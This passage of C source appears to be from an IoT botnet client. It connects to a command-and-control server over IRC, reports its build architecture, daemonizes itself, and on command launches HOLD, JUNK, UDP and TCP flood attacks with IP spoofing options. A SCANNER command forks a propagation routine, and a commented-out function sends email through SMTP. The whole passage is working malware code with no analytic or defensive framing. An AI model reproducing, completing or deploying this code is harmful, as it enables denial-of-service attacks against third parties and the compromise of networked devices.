  2626.  
  2627. dest_addr.sin_family = AF_INET;
  2628.  
  2629. dest_addr.sin_port = htons(port);
  2630.  
  2631. if(getHost(ip, &dest_addr.sin_addr)) return;
  2632.  
  2633. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2634.  
  2635.  
  2636.  
  2637. struct state_t
  2638.  
  2639. {
  2640.  
  2641. int fd;
  2642.  
  2643. uint8_t state;
  2644.  
  2645. } fds[max];
  2646.  
  2647. memset(fds, 0, max * (sizeof(int) + 1));
  2648.  
  2649.  
  2650.  
  2651. fd_set myset;
  2652.  
  2653. struct timeval tv;
  2654.  
  2655. socklen_t lon;
  2656.  
  2657. int valopt, res;
  2658.  
  2659.  
  2660.  
  2661. unsigned char *watwat = malloc(1024);
  2662.  
  2663. memset(watwat, 0, 1024);
  2664.  
  2665.  
  2666.  
  2667. int end = time(NULL) + end_time;
  2668.  
  2669. while(end > time(NULL))
  2670.  
  2671. {
  2672.  
  2673. for(i = 0; i < max; i++)
  2674.  
  2675. {
  2676.  
  2677. switch(fds[i].state)
  2678.  
  2679. {
  2680.  
  2681. case 0:
  2682.  
  2683. {
  2684.  
  2685. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2686.  
  2687. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2688.  
  2689. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2690.  
  2691. else fds[i].state = 1;
  2692.  
  2693. }
  2694.  
  2695. break;
  2696.  
  2697.  
  2698.  
  2699. case 1:
  2700.  
  2701. {
  2702.  
  2703. FD_ZERO(&myset);
  2704.  
  2705. FD_SET(fds[i].fd, &myset);
  2706.  
  2707. tv.tv_sec = 0;
  2708.  
  2709. tv.tv_usec = 10000;
  2710.  
  2711. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2712.  
  2713. if(res == 1)
  2714.  
  2715. {
  2716.  
  2717. lon = sizeof(int);
  2718.  
  2719. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2720.  
  2721. if(valopt)
  2722.  
  2723. {
  2724.  
  2725. close(fds[i].fd);
  2726.  
  2727. fds[i].state = 0;
  2728.  
  2729. } else {
  2730.  
  2731. fds[i].state = 2;
  2732.  
  2733. }
  2734.  
  2735. } else if(res == -1)
  2736.  
  2737. {
  2738.  
  2739. close(fds[i].fd);
  2740.  
  2741. fds[i].state = 0;
  2742.  
  2743. }
  2744.  
  2745. }
  2746.  
  2747. break;
  2748.  
  2749.  
  2750.  
  2751. case 2:
  2752.  
  2753. {
  2754.  
  2755. //nonblocking sweg
  2756.  
  2757. makeRandomStr(watwat, 1024);
  2758.  
  2759. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  2760.  
  2761. {
  2762.  
  2763. close(fds[i].fd);
  2764.  
  2765. fds[i].state = 0;
  2766.  
  2767. }
  2768.  
  2769. }
  2770.  
  2771. break;
  2772.  
  2773. }
  2774.  
  2775. }
  2776.  
  2777. }
  2778.  
  2779. }
  2780.  
  2781.  
  2782.  
  2783. // _ _ ___ _ _
  2784.  
  2785. // /\ /\___ | | __| | / __\ | ___ ___ __| |
  2786.  
  2787. // / /_/ / _ \| |/ _` | / _\ | |/ _ \ / _ \ / _` |
  2788.  
  2789. // / __ / (_) | | (_| | / / | | (_) | (_) | (_| |
  2790.  
  2791. // \/ /_/ \___/|_|\__,_| \/ |_|\___/ \___/ \__,_|
  2792.  
  2793.  
  2794.  
  2795. void sendHOLD(unsigned char *ip, int port, int end_time)
  2796.  
  2797. {
  2798.  
  2799.  
  2800.  
  2801. int max = getdtablesize() / 2, i;
  2802.  
  2803.  
  2804.  
  2805. struct sockaddr_in dest_addr;
  2806.  
  2807. dest_addr.sin_family = AF_INET;
  2808.  
  2809. dest_addr.sin_port = htons(port);
  2810.  
  2811. if(getHost(ip, &dest_addr.sin_addr)) return;
  2812.  
  2813. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2814.  
  2815.  
  2816.  
  2817. struct state_t
  2818.  
  2819. {
  2820.  
  2821. int fd;
  2822.  
  2823. uint8_t state;
  2824.  
  2825. } fds[max];
  2826.  
  2827. memset(fds, 0, max * (sizeof(int) + 1));
  2828.  
  2829.  
  2830.  
  2831. fd_set myset;
  2832.  
  2833. struct timeval tv;
  2834.  
  2835. socklen_t lon;
  2836.  
  2837. int valopt, res;
  2838.  
  2839.  
  2840.  
  2841. unsigned char *watwat = malloc(1024);
  2842.  
  2843. memset(watwat, 0, 1024);
  2844.  
  2845.  
  2846.  
  2847. int end = time(NULL) + end_time;
  2848.  
  2849. while(end > time(NULL))
  2850.  
  2851. {
  2852.  
  2853. for(i = 0; i < max; i++)
  2854.  
  2855. {
  2856.  
  2857. switch(fds[i].state)
  2858.  
  2859. {
  2860.  
  2861. case 0:
  2862.  
  2863. {
  2864.  
  2865. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2866.  
  2867. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2868.  
  2869. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2870.  
  2871. else fds[i].state = 1;
  2872.  
  2873. }
  2874.  
  2875. break;
  2876.  
  2877.  
  2878.  
  2879. case 1:
  2880.  
  2881. {
  2882.  
  2883. FD_ZERO(&myset);
  2884.  
  2885. FD_SET(fds[i].fd, &myset);
  2886.  
  2887. tv.tv_sec = 0;
  2888.  
  2889. tv.tv_usec = 10000;
  2890.  
  2891. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2892.  
  2893. if(res == 1)
  2894.  
  2895. {
  2896.  
  2897. lon = sizeof(int);
  2898.  
  2899. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2900.  
  2901. if(valopt)
  2902.  
  2903. {
  2904.  
  2905. close(fds[i].fd);
  2906.  
  2907. fds[i].state = 0;
  2908.  
  2909. } else {
  2910.  
  2911. fds[i].state = 2;
  2912.  
  2913. }
  2914.  
  2915. } else if(res == -1)
  2916.  
  2917. {
  2918.  
  2919. close(fds[i].fd);
  2920.  
  2921. fds[i].state = 0;
  2922.  
  2923. }
  2924.  
  2925. }
  2926.  
  2927. break;
  2928.  
  2929.  
  2930.  
  2931. case 2:
  2932.  
  2933. {
  2934.  
  2935. FD_ZERO(&myset);
  2936.  
  2937. FD_SET(fds[i].fd, &myset);
  2938.  
  2939. tv.tv_sec = 0;
  2940.  
  2941. tv.tv_usec = 10000;
  2942.  
  2943. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  2944.  
  2945. if(res != 0)
  2946.  
  2947. {
  2948.  
  2949. close(fds[i].fd);
  2950.  
  2951. fds[i].state = 0;
  2952.  
  2953. }
  2954.  
  2955. }
  2956.  
  2957. break;
  2958.  
  2959. }
  2960.  
  2961. }
  2962.  
  2963. }
  2964.  
  2965. }
  2966.  
  2967.  
  2968.  
  2969. // __ _ __ _ _
  2970.  
  2971. // / _\ ___ _ __ __| | /__\ __ ___ __ _(_) |
  2972.  
  2973. // \ \ / _ \ '_ \ / _` | /_\| '_ ` _ \ / _` | | |
  2974.  
  2975. // _\ \ __/ | | | (_| | //__| | | | | | (_| | | |
  2976.  
  2977. // \__/\___|_| |_|\__,_| \__/|_| |_| |_|\__,_|_|_|
  2978.  
  2979.  
  2980.  
  2981. /*
  2982.  
  2983. void sendEmail(unsigned char *email, unsigned char *host, unsigned char *subject, unsigned char *message)
  2984.  
  2985. {
  2986.  
  2987. unsigned char buffer[1024];
  2988.  
  2989. memset(buffer, 0, 1024);
  2990.  
  2991.  
  2992.  
  2993. int fd = socket(AF_INET, SOCK_STREAM, 0);
  2994.  
  2995. if(!connectTimeout(fd, host, 25, 30)) { close(fd); return; }
  2996.  
  2997. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  2998.  
  2999. if(strstr(buffer, "220 ") == NULL) { close(fd); return; }
  3000.  
  3001.  
  3002.  
  3003. if(send(fd, "HELO rastrent.com\r\n", 19, MSG_NOSIGNAL) != 19) { close(fd); return; }
  3004.  
  3005. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  3006.  
  3007. if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  3008.  
  3009. memset(buffer, 0, 1024);
  3010.  
  3011.  
  3012.  
  3013. if(send(fd, "MAIL FROM: <mrras@rastrent.com>\r\n", 33, MSG_NOSIGNAL) != 33) { close(fd); return; }
  3014.  
  3015. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  3016.  
  3017. if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  3018.  
  3019. memset(buffer, 0, 1024);
  3020.  
  3021.  
  3022.  
  3023. if(send(fd, "RCPT TO: <", 10, MSG_NOSIGNAL) != 10) { close(fd); return; }
  3024.  
  3025. if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
  3026.  
  3027. if(send(fd, ">\r\n", 3, MSG_NOSIGNAL) != 3) { close(fd); return; }
  3028.  
  3029. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  3030.  
  3031. if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  3032.  
  3033. memset(buffer, 0, 1024);
  3034.  
  3035.  
  3036.  
  3037. if(send(fd, "DATA\r\n", 6, MSG_NOSIGNAL) != 6) { close(fd); return; }
  3038.  
  3039. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  3040.  
  3041. if(strstr(buffer, "354 ") == NULL) { close(fd); return; }
  3042.  
  3043. memset(buffer, 0, 1024);
  3044.  
  3045.  
  3046.  
  3047. if(send(fd, "To: ", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
  3048.  
  3049. if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
  3050.  
  3051. if(send(fd, "\r\nFrom: mrras@rastrent.com\r\nSubject: ", 38, MSG_NOSIGNAL) != 38) { close(fd); return; }
  3052.  
  3053. if(send(fd, subject, strlen(subject), MSG_NOSIGNAL) != strlen(subject)) { close(fd); return; }
  3054.  
  3055. if(send(fd, "\r\n\r\n", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
  3056.  
  3057. if(send(fd, message, strlen(message), MSG_NOSIGNAL) != strlen(message)) { close(fd); return; }
  3058.  
  3059. if(send(fd, "\r\n.\r\n", 5, MSG_NOSIGNAL) != 5) { close(fd); return; }
  3060.  
  3061. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  3062.  
  3063. if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  3064.  
  3065. memset(buffer, 0, 1024);
  3066.  
  3067.  
  3068.  
  3069. send(fd, "QUIT\r\n", 6, MSG_NOSIGNAL);
  3070.  
  3071.  
  3072.  
  3073. close(fd);
  3074.  
  3075. return;
  3076.  
  3077. }
  3078.  
  3079. */
  3080.  
  3081.  
  3082.  
  3083. // _____ __ ___ _
  3084.  
  3085. // \_ \/__\ / __\ /\/\ __ _(_)_ __
  3086.  
  3087. // / /\/ \// / / / \ / _` | | '_ \
  3088.  
  3089. // /\/ /_/ _ \/ /___ / /\/\ \ (_| | | | | |
  3090.  
  3091. // \____/\/ \_/\____/ \/ \/\__,_|_|_| |_|
  3092.  
  3093.  
  3094.  
  3095. void processCmd(int argc, unsigned char *argv[])
  3096.  
  3097. {
  3098.  
  3099. if(!strcmp(argv[0], "PING"))
  3100.  
  3101. {
  3102.  
  3103. sockprintf(mainCommSock, "PONG!");
  3104.  
  3105. return;
  3106.  
  3107. }
  3108.  
  3109.  
  3110.  
  3111. if(!strcmp(argv[0], "GETLOCALIP"))
  3112.  
  3113. {
  3114.  
  3115. sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  3116.  
  3117. return;
  3118.  
  3119. }
  3120.  
  3121.  
  3122.  
  3123. if(!strcmp(argv[0], "SCANNER"))
  3124.  
  3125. {
  3126.  
  3127. if(argc != 2)
  3128.  
  3129. {
  3130.  
  3131. sockprintf(mainCommSock, "SCANNER ON | OFF");
  3132.  
  3133. return;
  3134.  
  3135. }
  3136.  
  3137.  
  3138.  
  3139. if(!strcmp(argv[1], "OFF"))
  3140.  
  3141. {
  3142.  
  3143. if(scanPid == 0) return;
  3144.  
  3145.  
  3146.  
  3147. kill(scanPid, 9);
  3148.  
  3149. scanPid = 0;
  3150.  
  3151. }
  3152.  
  3153.  
  3154.  
  3155. if(!strcmp(argv[1], "ON"))
  3156.  
  3157. {
  3158.  
  3159. if(scanPid != 0) return;
  3160.  
  3161. uint32_t parent;
  3162.  
  3163. parent = fork();
  3164.  
  3165. if (parent > 0) { scanPid = parent; return;}
  3166.  
  3167. else if(parent == -1) return;
  3168.  
  3169.  
  3170.  
  3171. StartTheLelz();
  3172.  
  3173. _exit(0);
  3174.  
  3175. }
  3176.  
  3177. }
  3178.  
  3179.  
  3180.  
  3181. /*
  3182.  
  3183. if(!strcmp(argv[0], "EMAIL"))
  3184.  
  3185. {
  3186.  
  3187. if(argc < 5)
  3188.  
  3189. {
  3190.  
  3191. //sockprintf(mainCommSock, "EMAIL <target email> <mx host> <subject no spaces> <message no spaces>");
  3192.  
  3193. return;
  3194.  
  3195. }
  3196.  
  3197.  
  3198.  
  3199. unsigned char *target = argv[1];
  3200.  
  3201. unsigned char *host = argv[2];
  3202.  
  3203. unsigned char *subject = argv[3];
  3204.  
  3205. unsigned char *message = argv[4];
  3206.  
  3207.  
  3208.  
  3209. if (listFork()) { return; }
  3210.  
  3211.  
  3212.  
  3213. sendEmail(target, host, subject, message);
  3214.  
  3215. close(mainCommSock);
  3216.  
  3217.  
  3218.  
  3219. _exit(0);
  3220.  
  3221. }
  3222.  
  3223. */
  3224.  
  3225.  
  3226.  
  3227. if(!strcmp(argv[0], "HOLD"))
  3228.  
  3229. {
  3230.  
  3231. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  3232.  
  3233. {
  3234.  
  3235. //sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
  3236.  
  3237. return;
  3238.  
  3239. }
  3240.  
  3241.  
  3242.  
  3243. unsigned char *ip = argv[1];
  3244.  
  3245. int port = atoi(argv[2]);
  3246.  
  3247. int time = atoi(argv[3]);
  3248.  
  3249.  
  3250.  
  3251. if(strstr(ip, ",") != NULL)
  3252.  
  3253. {
  3254.  
  3255. sockprintf(mainCommSock, "HOLD Flooding %s:%d for %d seconds.", ip, port, time);
  3256.  
  3257. unsigned char *hi = strtok(ip, ",");
  3258.  
  3259. while(hi != NULL)
  3260.  
  3261. {
  3262.  
  3263. if(!listFork())
  3264.  
  3265. {
  3266.  
  3267. sendHOLD(hi, port, time);
  3268.  
  3269. close(mainCommSock);
  3270.  
  3271. _exit(0);
  3272.  
  3273. }
  3274.  
  3275. hi = strtok(NULL, ",");
  3276.  
  3277. }
  3278.  
  3279. } else {
  3280.  
  3281. if (listFork()) { return; }
  3282.  
  3283.  
  3284.  
  3285. sockprintf(mainCommSock, "HOLD Flooding %s:%d for %d seconds.", ip, port, time);
  3286.  
  3287. sendHOLD(ip, port, time);
  3288.  
  3289. close(mainCommSock);
  3290.  
  3291.  
  3292.  
  3293. _exit(0);
  3294.  
  3295. }
  3296.  
  3297. }
  3298.  
  3299.  
  3300.  
  3301. if(!strcmp(argv[0], "JUNK"))
  3302.  
  3303. {
  3304.  
  3305. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  3306.  
  3307. {
  3308.  
  3309. //sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
  3310.  
  3311. return;
  3312.  
  3313. }
  3314.  
  3315.  
  3316.  
  3317. unsigned char *ip = argv[1];
  3318.  
  3319. int port = atoi(argv[2]);
  3320.  
  3321. int time = atoi(argv[3]);
  3322.  
  3323.  
  3324.  
  3325. if(strstr(ip, ",") != NULL)
  3326.  
  3327. {
  3328.  
  3329. sockprintf(mainCommSock, "JUNK Flooding %s:%d for %d seconds.", ip, port, time);
  3330.  
  3331. unsigned char *hi = strtok(ip, ",");
  3332.  
  3333. while(hi != NULL)
  3334.  
  3335. {
  3336.  
  3337. if(!listFork())
  3338.  
  3339. {
  3340.  
  3341. sendJUNK(hi, port, time);
  3342.  
  3343. close(mainCommSock);
  3344.  
  3345. _exit(0);
  3346.  
  3347. }
  3348.  
  3349. hi = strtok(NULL, ",");
  3350.  
  3351. }
  3352.  
  3353. } else {
  3354.  
  3355. if (listFork()) { return; }
  3356.  
  3357.  
  3358.  
  3359. sockprintf(mainCommSock, "JUNK Flooding %s:%d for %d seconds.", ip, port, time);
  3360.  
  3361. sendJUNK(ip, port, time);
  3362.  
  3363. close(mainCommSock);
  3364.  
  3365.  
  3366.  
  3367. _exit(0);
  3368.  
  3369. }
  3370.  
  3371. }
  3372.  
  3373.  
  3374.  
  3375. if(!strcmp(argv[0], "UDP"))
  3376.  
  3377. {
  3378.  
  3379. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  3380.  
  3381. {
  3382.  
  3383. //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  3384.  
  3385. return;
  3386.  
  3387. }
  3388.  
  3389.  
  3390.  
  3391. unsigned char *ip = argv[1];
  3392.  
  3393. int port = atoi(argv[2]);
  3394.  
  3395. int time = atoi(argv[3]);
  3396.  
  3397. int spoofed = atoi(argv[4]);
  3398.  
  3399. int packetsize = atoi(argv[5]);
  3400.  
  3401. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  3402.  
  3403.  
  3404.  
  3405. if(strstr(ip, ",") != NULL)
  3406.  
  3407. {
  3408.  
  3409. sockprintf(mainCommSock, "UDP Flooding %s for %d seconds.", ip, time);
  3410.  
  3411. unsigned char *hi = strtok(ip, ",");
  3412.  
  3413. while(hi != NULL)
  3414.  
  3415. {
  3416.  
  3417. if(!listFork())
  3418.  
  3419. {
  3420.  
  3421. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  3422.  
  3423. close(mainCommSock);
  3424.  
  3425. _exit(0);
  3426.  
  3427. }
  3428.  
  3429. hi = strtok(NULL, ",");
  3430.  
  3431. }
  3432.  
  3433. } else {
  3434.  
  3435. if (listFork()) { return; }
  3436.  
  3437.  
  3438.  
  3439. sockprintf(mainCommSock, "UDP Flooding %s:%d for %d seconds.", ip, port, time);
  3440.  
  3441. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  3442.  
  3443. close(mainCommSock);
  3444.  
  3445.  
  3446.  
  3447. _exit(0);
  3448.  
  3449. }
  3450.  
  3451. }
  3452.  
  3453.  
  3454.  
  3455. if(!strcmp(argv[0], "TCP"))
  3456.  
  3457. {
  3458.  
  3459. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  3460.  
  3461. {
  3462.  
  3463. //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  3464.  
  3465. return;
  3466.  
  3467. }
  3468.  
  3469.  
  3470.  
  3471. unsigned char *ip = argv[1];
  3472.  
  3473. int port = atoi(argv[2]);
  3474.  
  3475. int time = atoi(argv[3]);
  3476.  
  3477. int spoofed = atoi(argv[4]);
  3478.  
  3479. unsigned char *flags = argv[5];
  3480.  
  3481.  
  3482.  
  3483. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  3484.  
  3485. int psize = argc > 6 ? atoi(argv[6]) : 0;
  3486.  
  3487.  
  3488.  
  3489. if(strstr(ip, ",") != NULL)
  3490.  
  3491. {
  3492.  
  3493. sockprintf(mainCommSock, "TCP Flooding %s for %d seconds.", ip, time);
  3494.  
  3495. unsigned char *hi = strtok(ip, ",");
  3496.  
  3497. while(hi != NULL)
  3498.  
  3499. {
  3500.  
  3501. if(!listFork())
  3502.  
  3503. {
  3504.  
  3505. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  3506.  
  3507. close(mainCommSock);
  3508.  
  3509. _exit(0);
  3510.  
  3511. }
  3512.  
  3513. hi = strtok(NULL, ",");
  3514.  
  3515. }
  3516.  
  3517. } else {
  3518.  
  3519. if (listFork()) { return; }
  3520.  
  3521.  
  3522.  
  3523. sockprintf(mainCommSock, "TCP Flooding %s for %d seconds.", ip, time);
  3524.  
  3525. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  3526.  
  3527. close(mainCommSock);
  3528.  
  3529.  
  3530.  
  3531. _exit(0);
  3532.  
  3533. }
  3534.  
  3535. }
  3536.  
  3537.  
  3538.  
  3539. if(!strcmp(argv[0], "KILLATTK"))
  3540.  
  3541. {
  3542.  
  3543. int killed = 0;
  3544.  
  3545. unsigned long i;
  3546.  
  3547. for (i = 0; i < numpids; i++) {
  3548.  
  3549. if (pids[i] != 0 && pids[i] != getpid()) {
  3550.  
  3551. kill(pids[i], 9);
  3552.  
  3553. killed++;
  3554.  
  3555. }
  3556.  
  3557. }
  3558.  
  3559.  
  3560.  
  3561. if(killed > 0)
  3562.  
  3563. {
  3564.  
  3565. sockprintf(mainCommSock, "Killed %d.", killed);
  3566.  
  3567. } else {
  3568.  
  3569. sockprintf(mainCommSock, "None Killed.");
  3570.  
  3571. }
  3572.  
  3573. }
  3574.  
  3575.  
  3576.  
  3577. if(!strcmp(argv[0], "LOLNOGTFO"))
  3578.  
  3579. {
  3580.  
  3581. exit(0);
  3582.  
  3583. }
  3584.  
  3585. }
  3586.  
  3587.  
  3588.  
  3589. int initConnection()
  3590.  
  3591. {
  3592.  
  3593. unsigned char server[512];
  3594.  
  3595. memset(server, 0, 512);
  3596.  
  3597. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if the sock initialized then close that.
  3598.  
  3599. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  3600.  
  3601. else currentServer++;
  3602.  
  3603.  
  3604.  
  3605. strcpy(server, commServer[currentServer]);
  3606.  
  3607. int port = 6667;
  3608.  
  3609. if(strchr(server, ':') != NULL)
  3610.  
  3611. {
  3612.  
  3613. port = atoi(strchr(server, ':') + 1);
  3614.  
  3615. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  3616.  
  3617. }
  3618.  
  3619.  
  3620.  
  3621. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  3622.  
  3623.  
  3624.  
  3625. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  3626.  
  3627.  
  3628.  
  3629. return 0;
  3630.  
  3631. }
  3632.  
  3633.  
  3634.  
  3635. int getOurIP()
  3636.  
  3637. {
  3638.  
  3639. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  3640.  
  3641. if(sock == -1) return 0;
  3642.  
  3643.  
  3644.  
  3645. struct sockaddr_in serv;
  3646.  
  3647. memset(&serv, 0, sizeof(serv));
  3648.  
  3649. serv.sin_family = AF_INET;
  3650.  
  3651. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  3652.  
  3653. serv.sin_port = htons(53);
  3654.  
  3655.  
  3656.  
  3657. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  3658.  
  3659. if(err == -1) return 0;
  3660.  
  3661.  
  3662.  
  3663. struct sockaddr_in name;
  3664.  
  3665. socklen_t namelen = sizeof(name);
  3666.  
  3667. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  3668.  
  3669. if(err == -1) return 0;
  3670.  
  3671.  
  3672.  
  3673. ourIP.s_addr = name.sin_addr.s_addr;
  3674.  
  3675.  
  3676.  
  3677. int cmdline = open("/proc/net/route", O_RDONLY);
  3678.  
  3679. char linebuf[4096];
  3680.  
  3681. while(fdgets(linebuf, 4096, cmdline) != NULL)
  3682.  
  3683. {
  3684.  
  3685. if(strstr(linebuf, "\t00000000\t") != NULL)
  3686.  
  3687. {
  3688.  
  3689. unsigned char *pos = linebuf;
  3690.  
  3691. while(*pos != '\t') pos++;
  3692.  
  3693. *pos = 0;
  3694.  
  3695. break;
  3696.  
  3697. }
  3698.  
  3699. memset(linebuf, 0, 4096);
  3700.  
  3701. }
  3702.  
  3703. close(cmdline);
  3704.  
  3705.  
  3706.  
  3707. if(*linebuf)
  3708.  
  3709. {
  3710.  
  3711. int i;
  3712.  
  3713. struct ifreq ifr;
  3714.  
  3715. strcpy(ifr.ifr_name, linebuf);
  3716.  
  3717. ioctl(sock, SIOCGIFHWADDR, &ifr);
  3718.  
  3719. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  3720.  
  3721. }
  3722.  
  3723.  
  3724.  
  3725. close(sock);
  3726.  
  3727. }
  3728.  
  3729.  
  3730.  
  3731. char *getBuild()
  3732.  
  3733. {
  3734.  
  3735. #ifdef MIPS_BUILD
  3736.  
  3737. return "MIPS";
  3738.  
  3739. #elif MIPSEL_BUILD
  3740.  
  3741. return "MIPSEL";
  3742.  
  3743. #elif X86_BUILD
  3744.  
  3745. return "X86";
  3746.  
  3747. #elif ARM_BUILD
  3748.  
  3749. return "ARM";
  3750.  
  3751. #elif PPC_BUILD
  3752.  
  3753. return "POWERPC";
  3754.  
  3755. #else
  3756.  
  3757. return "UNKNOWN";
  3758.  
  3759. #endif
  3760.  
  3761. }
  3762.  
  3763.  
  3764.  
  3765. int main(int argc, unsigned char *argv[])
  3766.  
  3767. {
  3768.  
  3769. if(SERVER_LIST_SIZE <= 0) return 0; //THE BOT HAS BEEN CONFIGURED WRONGLY
  3770.  
  3771.  
  3772.  
  3773. srand(time(NULL) ^ getpid());
  3774.  
  3775. init_rand(time(NULL) ^ getpid());
  3776.  
  3777.  
  3778.  
  3779. pid_t pid1;
  3780.  
  3781. pid_t pid2;
  3782.  
  3783. int status;
  3784.  
  3785.  
  3786.  
  3787. getOurIP();
  3788.  
  3789. zprintf("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", macAddress[0], macAddress[1], macAddress[2], macAddress[3], macAddress[4], macAddress[5]);
  3790.  
  3791.  
  3792.  
  3793. if (pid1 = fork()) {
  3794.  
  3795. waitpid(pid1, &status, 0);
  3796.  
  3797. exit(0);
  3798.  
  3799. } else if (!pid1) {
  3800.  
  3801. if (pid2 = fork()) {
  3802.  
  3803. exit(0);
  3804.  
  3805. } else if (!pid2) {
  3806.  
  3807. } else {
  3808.  
  3809. zprintf("fork failed\n");
  3810.  
  3811. }
  3812.  
  3813. } else {
  3814.  
  3815. zprintf("fork failed\n");
  3816.  
  3817. }
  3818.  
  3819.  
  3820.  
  3821. setsid();
  3822.  
  3823. chdir("/");
  3824.  
  3825.  
  3826.  
  3827. signal(SIGPIPE, SIG_IGN);
  3828.  
  3829.  
  3830.  
  3831. while(1)
  3832.  
  3833. {
  3834.  
  3835. if(initConnection()) { printf("Failed to connect...\n"); sleep(5); continue; }
  3836.  
  3837.  
  3838.  
  3839. sockprintf(mainCommSock, "BUILD %s", getBuild());
  3840.  
  3841.  
  3842.  
  3843. char commBuf[4096];
  3844.  
  3845. int got = 0;
  3846.  
  3847. int i = 0;
  3848.  
  3849. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  3850.  
  3851. {
  3852.  
  3853. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  3854.  
  3855. unsigned int *newpids, on;
  3856.  
  3857. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  3858.  
  3859. pids[on - 1] = 0;
  3860.  
  3861. numpids--;
  3862.  
  3863. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  3864.  
  3865. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  3866.  
  3867. free(pids);
  3868.  
  3869. pids = newpids;
  3870.  
  3871. }
  3872.  
  3873.  
  3874.  
  3875. commBuf[got] = 0x00;
  3876.  
  3877.  
  3878.  
  3879. trim(commBuf);
  3880.  
  3881.  
  3882.  
  3883. if(strstr(commBuf, "PING") == commBuf)
  3884.  
  3885. {
  3886.  
  3887. sockprintf(mainCommSock, "PONG");
  3888.  
  3889. continue;
  3890.  
  3891. }
  3892.  
  3893.  
  3894.  
  3895. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  3896.  
  3897.  
  3898.  
  3899. unsigned char *message = commBuf;
  3900.  
  3901.  
  3902.  
  3903. if(*message == '!')
  3904.  
  3905. {
  3906.  
  3907. unsigned char *nickMask = message + 1;
  3908.  
  3909. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  3910.  
  3911. if(*nickMask == 0x00) continue;
  3912.  
  3913. *(nickMask) = 0x00;
  3914.  
  3915. nickMask = message + 1;
  3916.  
  3917.  
  3918.  
  3919. message = message + strlen(nickMask) + 2;
  3920.  
  3921. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  3922.  
  3923.  
  3924.  
  3925. unsigned char *command = message;
  3926.  
  3927. while(*message != ' ' && *message != 0x00) message++;
  3928.  
  3929. *message = 0x00;
  3930.  
  3931. message++;
  3932.  
  3933.  
  3934.  
